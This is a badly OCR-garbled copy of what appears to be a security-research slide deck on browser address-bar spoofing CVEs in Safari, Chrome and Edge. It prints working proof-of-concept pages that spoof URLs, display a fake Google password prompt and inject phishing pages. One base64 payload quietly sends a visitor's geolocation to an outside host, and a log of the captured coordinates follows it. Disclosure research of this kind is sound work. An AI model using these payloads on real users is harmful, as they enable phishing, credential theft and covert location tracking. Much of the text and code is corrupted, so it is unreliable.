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Example Domain

This domain is established to be used for illustrative examples in documents. You
may use this domain in examples without prior coordination or asking for permission
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U 03B|GREEK SMAEODOIDTER ALPHA
o 430/{CYRILLI C SMALL LETTER A

237/APL FUNCTI ONAL SYMBOL ALPHA

1D41 MATHEMATI

CAL BOLD SMALL A

1D4 4 MATHE MAT I

CAL I TALI C SMALL A

1D4 8§ MATHEMATI

CAL BOLD I TALI C SMAL

< |He| T

1D48B MATHEMATI

CAL SCRIPT SMALL A

1D4 HMATHEMATI

CAL BOLD SCRIPT SMAL

1D5S )Y MATHEMATI

CAL FRAKTUR SMALL A

N 1D55MATHEMATI

CAL -DPORBCKE SMALL A

1D5 8§ MATHEMATI

CAL BOLD FRAKTUR SM/

1D5B MATHEMATI

CAISERANS SMALL A

1D5SBEMATHEMATI

CASERANS BOLD SMALL {

1D6 2 MATHEMATI

CAISERANS | TALI C SMAL

1D6 5§ MATHEMATI

CAISERANS BOLD | TALI C

1D6 8 MATHEMATI

CAL MONOSPACE SMALL

1D6  MATHE MAT I

CAL BOLD SMALL ALPHA

| 1D6 R MATHEMATI

CAL I TALI C SMALL ALH

) 1D73 MATHEMATI

CAL BOLMALITAAL EHA

1D77MATHEMAT I

CASERANS BOLD SMALL {

1D7 AMATHEMATI

CASSERANS BOLD | TALI C

FF4]FULLWI DTH
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https://unicode.org/cldr/utility/confusables.
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https://unicode.org/cldr/utility/confusables.jsp?a=a&r=None
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<a href="https://www.gmail.com:443."target="aa"
onclick="setTimeout('fake()',100)"><h1>click me</h1></a>
<script>
function fake() {
var t = window.open(’ja vascript:alert(1)','aa");
t.document.body.innerHTML ='<title>Gmail</titte><H1>Fake Page!!!
xisigr</H1>"
}
</script>
7 G wtest . ohtmlttp:// www. xiAsigrl. com/test.
T A 3 b i0OS Saf &r i “URL o+

Webki't

L A

-- hackby

7141

ht ml


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3755
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Fake Page!!!--hack by xisigr

https://www.gmail.com
1

i

O m O
3
1 T o Coow T 16 - A
URL ~ 0 I T oF “ o - w [ &
A " POCQ URL '
https://www.gmail.com:443.
Wa o~ URIASaf ar i @ TF O3 A
a A www. gmai | c'ony DOM b’
var t = window.open(‘javascript:alert (1),'aa";
t.document.body.innerHTML ='<title>Gmail</titte><H1>Fake Page!!! -- hackby
xisigr</H1>",
aler¥ (1) https:// www. gmail .com
2 L T xisidr.cgm alert(document. domali
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<html|>
<a href=2.html target="_blank'>click me</a>
</html>
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<html|>

<body>

<script>

location="https://www.google.com’;

function go(){

if(window.opener){

window.opener.location = 'data:text/html,<title>test</title><script >' +
' pass =prompt("ht  tps://google.com \ nType your password: \n"); '+
" alert("Your Password is: "+pass);'+

'< \ /script>";

1

go();

</script>

</body>

</html>

Saffhrihttp://test. clp@/ilckhtnd T °
“H o A 6 - T ~ 123

https://google.com
Type your password:

Your Password is: 123

34

1 PO@Q ~ @ N e D v A o
2a o o AW www. test."comBd wiwtvmt est .Aom/ 2. ht ml
o A o B o A
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http://test.com/1.html
http://www.test.com/1.html
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o BT 9 h 2ew A
tT B o N [ https://ivww.google.com A
N location="https://www.google.com’;
~ 2 a o A ¥ A
q
window.opener.location =
‘data:text/html,<title>test</title><scri pt>pass =prompt("https://go
ogle.com \nType your password: \ n");aler t("Your
Password is: "+pass);< [script>";
B o [https://www. RoAgd eFcom B o
B (] VB o [https://ww,w.gcﬁ)gle.cé\m
ur: T A v D T “= i p N
U A
2.3 FCVE 0617 E9

T ~valert()/ prompt () / cvon fWerbnR I)
N BP(Geolocation API) (Notification API)

Web APE v A
CVRONET 7 % v B OAGeol ocation API
0 h B W G L4A g
B ow R ) vHk ™ A a
Geolocat wodBWAPI TF @ U4d:
URACVROUE 7 % Ty Dp a K
FoOof DH " b B A

& ap

1 "Appl 9. B9 pYeefari < 9.1

“https:/ /] www. w3.-APlQ/ ARégeni bgation
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https://www.w3.org/TR/geolocation-API/%23security
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E " https://cveimi¢venamg/€§qilsrneOme=CVE

0 Geol ocationiy¥™ - W = 4" w| CH

L 0 Geolodation

<script>
function success(position) {}

navigator.geolocation.getCurrentPosition(success);

</script>

o “http://www.tAst.com/ geolht:ml ¥ v
Uf: w “www. teAt.com

t 0 @ T b VY W A
1.~ f A
2 R 2 “yuw A

G @ - A @ T 0 09 Saf a€Chr ome

a data: | v wl @ YA/ 7 A

data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30
KbmF2awWdhdG9yLmdlb2xvY2F0aWw9uLmdIdEN1cnJIbnRQb3NpdGIvbihzdWNjZXNzKTsKPC9zY3J

pcHQ+Cg==
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U S ERE LRI E

FaiF 53

v

N b W n 3 POAR
<title>test</title>

<script>

function geo(){
window.open(‘http://www.google.com');

location

'data:text/html;base64,PCFETONUWYVBFIGhObWw+CjxodG1sIGxhbmc9ImVulj4KPGhIYWQ

“f [P RE BRI E

T o

i

+CjxtZXRhIGN0oYXJzZXQ9dXRmLTggLz4KPHRpdGxIPmdIb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk

+CjxzY3JpcHQ

+CmZ1bmNOaW9ulHN1NIc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2VORWxIbWVudEJ5SWQo0J3J

IbW90ZScpLnNyYz0iaHROcDovL3hpc2Inci5jb20vdGVzdCOnZW8v

Z2V0LnBocD9NZW9sb2NhdGIvbj0iKyItLSOtLS0iIK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlv

bi5jb29yZHMubGF0aXR1ZGUpKylslitlbmNvZGVVUkKIDb21wb25Ib

nQocG9zaXRpb24uY29vecmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmInYXRvci5nZW9sb2NhdGlvbisnZ

XRDAXJyZW50UG9zaXRpb240c3VjY2Vzcyk7Cjwvc2NyaXBOPgo8aw

1nIGIkPSJyZW1vdGUIilHNyYz0iliB3aWR0aDOwIGhlawdodDOwPgo8L2JvZHk+CjwvaHRtbD4=",;
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}
</script>

<button onclick="geo()'>Click Me</button>

i TBase64 19 7

<IDOCTYPE htmlI>

<html lang="en">

<head>

<meta charset=utf -8/>

<title>geolocation</title>

<body>

<script>

function success(position) {

document.getElementByld (‘'remote’).src="http://xisigr.com/test/geo/get.php?ge
olocation="+"  ------

"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(positi

on.coords.longitude);

}
navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src=" " width=0 height=0>
</body>
</html>

| - 8 A
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gy 2 020000 e ey

[3 xisigr.com/test/geo/infc x § %
xisigr.com/test/geo/inf® v @ 4

«

c 0

16-01-06
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16-01-06
16-01-06
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16-01-07
16-01-07
16-01-07
16-01-07

16-01-07 ¢

16-01-07
16-01-07
16-01-07
16-01-07
16-01-07
16-01-07
16-01-07
16-01-07
16-01-08
16-01-08
16-01-08
16-01-08
16-01-08
16-01-08
16-01-08
16-01-08
16-01-10
16-01-20
16-01-22
16-01-28
16-01-28

e O N e R =N=-R=]

&

TGO s S D e = Oy ) -1 D &

@

15
116
08
AT
126
c4
27
130
16
AT
117
128
130
136
105
07
108
111
154

geolocation:—————-37
geolocation:
geolocation:
geolocation:
geolocation
geolocation:
geolocation:
geclocation
geclocation
geolocation
geolocation:
geolocation:
geolocation
geolocation:
geolocation:
geolocation
geolocation:
geolocation:
geolocation

. 332578830316136, —122. 03068509201906

7.33255864096311, -122. 03048903384115
7.33254831733992, ~122. 03067919026509
7.33255244017449, -122. 03067121291211
7.33249160295824, -122. 03081258523588
7.33247333986123, ~122. 03069557170997
7.33253501593518, ~122. 03036591131305

. 33250789169742, -122. 03074491024492

7.33255218003708, —122. 03058183954413
7.332597599978804, -122. 03072573120531
7.332597599978804, —122. 03072573120531
7.3325514818852, ~122. 03072393865678
7.332578065698975, -122. 03052130218668
7.33256301137958, -122. 0305217071761
7.33251742940066, -122. 03038990366755
7.33252494972006, -122. 03042176162113
7.33252494972006, -122. 03042176162113
7. 33262538411099, ~122. 03069883315447
7.33258257790274, -122. 03058923080154

:22:05 geolocatiol

——37. 33260353041099, -122. 03085005816115

1:39:11
1:39:14

1:39:
1:39:
1:39:
1:10:
1:40:
5:02:
6:32:
4:06:
8:14:

7:
7

20
37
11
15
23
21
30
20
33
150
2

geolocation
geolocation:
geolocation
geolocation
geolocation:
geolocation:
geolocation
geolocation
geolocation
geolocation:
geolocation:
geolocation
geolocation:

. 33264777993793, —122. 03094844801703

7.33264784067195, 122 03094871762774

. 33264789409772, -122. 03094895119785
. 33262353809096, —122. 03092213196998

7.3326015517231914, -122. 03090352692087
7.332811714150644, -122. 03163971178065
7.332811714150644, —122. 03163971478065
7.33257509699872, ~122. 0306660021163
7.37012646633535, —122. 017323716604741
7.33251155608693, -122. 03041098514818
7.33218618081301, -122. 03036911735561
7.332408731050354, —122. 03041115995905

. 332514135412126, -122. 0302212535748

" 37.33257882R308HPHBS509201A906 ¢
A 10 A
] 2
=  37.332578830316436,122.0306 X 4 S ol 2 : Y18 Pajay s —shaopei
=
® ¥ San Marin
nipero/Serra FWy! iz
o -
B S
@
O ;
7
37°19'57.3"N 122°01'50.5"W ”’s(
Directions 2
o)
*x © a3 < ,
0 4 5
SAVE NEARBY SENPDJOONVEOUR SHARE GYE(’QO/_ pc’:'::l‘r::ssf::zg g —;T
//"kGreen Dr ; ° -
S _Infinite Loop Apple
Bagel Street Ca 2 Infinite Loop
Cupertino, CA 95014, USA o
. e ﬂ Explore

Map data ©2016 Google Terms Privacy maps.google.com 100 M e
Send feedback
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t 0 “yo " . Nz 2006326001 652701 65 8
2016 A20MBDA20L 6 A2R1L &6/ 27% 03 POTC ¥ i
A . .
a =b L POQ 4 Y R B D [ =
b F A
n. [ @ W POC ¥ w D[ @
Xxisigr.com/Arsti/'geo/ i nfo7t xt” b
B ¥ @ 2 Ty K [ Ap b
: B Tb 0 [ vA
b Wae H 7 - DT™ K H
v ul M H G L o Ab 36 B H
D O [A

2. 48l obRLs FTCVRO 15%189CV R 067 6 £3

Gl htlf it Edpfst p’ URL stheme URL scheme

Dp3 i A URIs c heme
I daltfaab ddi b | lalbf i | e s § iILAGVER 05683 6l bl ob LURLS
URL A G Chrome TA

iy ao il

1 Google Chrome < 54.0.2840.59 for Wi ndow

Androi d

E ‘https://cvieimitvenamg/€¢0ib8mddme=CVE

A . H blob URLS

bl otbi nary Twrbge “obijeéct )0 L » Abl ob LURLSs

"H ¢ Web T n w LT3 tl'p LT bob A
Wal bl ob LURDBbSs We UUID Abl ob = scheme A:" origirt
schdéame blomriginbl UJRET “UUlI DG [ RFC4AL 2 2]

# [ blob "BRdLs
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bl ob: https:// ed8d#Bldee DR Y1 @6 36227206

A We bl ob URLS

URL.createObjectURIe( POMStri n@RL a T

A @ URL - o T documenit a URL
File Bl ob A
createObjeci URLs( Wa URL ~ Ja#n
buada - A bP " URL T @
URL.revokeObjectARL(Y ¥ R ~ TP W R
s} p a oA y h* " A
T “http://exampAg.cld'm/ bl ob. ht ml
<script>

function aa(){

args=[ '123456'];

b = new Blob(args, {type: text/html});
window.open(URL.createObjectURL(b));
}

</script>

<button onclick=6aa()déd>click me</button>

PC Chr oanBaf aFiiref oxT IDpclick “me FWe bl ob URLS
- p 123A56

Edge T n A £  EdgB bl ob WRLs ~
ori giNge bl ob: 24-5A@825580 5F908 A4 1BCA 3122

A bl ob::URLS
CVR0568P0O¢ 7

<script>

function pwned() {
var t = window.open(", 'ss");
t.document.write("<h1>phishing page</h1><title>google</title>");
t.stop();

1941
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}

</script>

<a href="blob:http://www. googl e. com%EF%BE%AOééée@xi sig
onclick="setTimeout('pwned()','500")">click mel</a><br>

<br>

<a href="blob:http://www.google.com éééé@xisigr.com" target="ss"
onclick="setTimeout('pwned()','500")">click me2</a><br>

DCl i ck me 11 A

[ google x -7
C O blob:http://www.google.com w ® i
phishing page
MM
POG 7 b 0 7 | @ URII www. googl@ei sbtk . com
a @ ~ [|=V~'{JW(Q Yy www. googl er. com

WWW. googH ev:cem Ac [ v
T [ A W " googl eTcbml ob "URL®O DA
CVR 017623 I'bl ob EURLS A CvR 03689 °
b a %EF %B 9 %BAFE7A bP : A 12

i "i0S <10.2 ,Safari <10.0.2

E " https://cveimi¢tvenamg/€§qiZrwdRaB8Bme=CVE
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sseee HEIEE T 12:35 @ % 68% W)
blob:http://www.google.com (¢
phising
O M
VH

CVROIT&G P> C

MMTMMTMMIMMTITTIMTITTTIITITITTTTITTITTTUTT
<script>
function go() {
var t = window.open(", 'aaaa’);
t.document.write("<h1>phising</h1><title>Google</title>");
}
function ipad(){
vart=
window.open('blob:http://www.google.com'+Array(0x50).join("%EF%B9%BA")+'@
xisigr.com', 'aaaa’);
setTimeout('go()','500";
}
function iphone(){
vart=
window.open('blob:http://www.google.com'+Array(0x20).join("%EF%B9%BA")+'@
xisigr.com', 'a aaa');
setTimeout('go()','500";
}
function blob(){
var blob=new Blob([],{type:"text/html; charset=utf -8");
var url=URL.createObjectURL(blob);
var t = window.open(url, '‘aaaa’);

if (navigator.userAgent.indexOf("iPhone") > -1 {
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setTimeout('iphone()','500";
}

if (navigator.userAgent.indexOf("iPad") >

}

setTimeout('ipad()','500");

</script>

<button onc

lick="blob()">Click me</button>
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<script>
payload="PGJvZHk+PC9ib2R5PgOKPHNjcmIwdD4NCIAgICB2YXIghGluayA9IGRvY 3VtZW50
LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHROcHM6LYy9nbWFpbC5jb206
0ic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBIbmRDaGIsZChsaW5srKTsNCiAgICBsaW5rLmNsaWNr
KCk7DQo8L3NjcmlwdD4=",
function pwned() {
var t = window.open('https://www.gmail.com/', 'aaaa’);
t.document.write(atob(payload));
t.document.write("<h1>Address bar says https://www.gmail.com/ - this
is NOT https://www.gmail.com/</h1>");
}
</script>
<a href="https://hack.com: /" target="aaaa"
onclick="setTimeout('pwned()','500")">click me</a><br>

Wl en v A ® Iwclicke me ’ W@
nameaaaa o @ "v https:/7Thack’. goBQA500

pwnéd(aaaa https:// www. gmadRL Yw mA |
w T Wen N | 0 0 A
baseb64 n

base64 payload code:
<body></body>
<script>
var link = document.createElement('a’);
lin k.href ='https://gmail.com::';
document.body.appendChild(link);

link.click();

</script>

aaaa . "7 comimihtt t ps:/ /"gmawh. com:H
https:// gniad | . com: v © A ey - 0
a a Dp "YA[ " window. opem/ Ily&c aftg om

VW @ (pendinig statCh) one v about™ bl Aok
about: Blrank URL T " Chr odme =
https://®mail .comiw hps: / / gmaURL comwy
https://gmail . ¢om:w A 7 av AW e

URL Spoofing =A

2341



B XRSEEE

TENCENT'S XUANWU LAB

A v k
@ " “Chr ohe Web v R " Ve
AGoo @l e Fuv C o~ v Web Rb"H
v [ Tt a |FURWM aboutAbl ank
/I Ensure the URL is as expected (and already reported to the delegate).
- DCHECK(currentURL == _lastRegisteredRequestURL) // HlFr o =
URL

+ /1 If |_lastRegisteredRequestURL] is invalid then |currentURL| will be
+ // "about:blank".

+ DCHECK((currentURL == _lastRe gisteredRequestURL) ||

+

(!_lastRegisteredRequestURL.is_valid() && // Y o W e
URL
+ _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))
<< std::end|
<< "currentURL = [" << currentURL << "" << std::endl
<< "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL <<
T

/I This is the point where the document's URL has actually changed, and
I/l pending navigation information should be applied to state information.
[self setDocumentURL:net :GURLWIithNSURL([_webView URL])];
DCHECK(_documentURL == _lastRegisteredRequestURL);

+
+ if (I_lastRegisteredRequestURL.is_valid() &&
+ _documentURL != _lastRegisteredRequestURL) {
+ /I if |_lastRegisteredRequestURL| is an invalid URL, then
|_d ocumentURL|
+ I/ will be "about:blank".
+ [[self sessionController] updatePendingEntry:_documentURL];

+}

+ DCHECK(_documentURL == _lastRegisteredRequestURL ||

+  (I_lastRegisteredRequestURL.is_valid() &&

+ _documentURL.spec() == rl::kAboutBlankURL));

+
self.webStatelmpl - >OnNavigationCommitted(_documentURL);
[self commitPendingNavigationinfo];

if ([self currentBackForwardListltemHolder] - >navigation_type() ==

L
L URL
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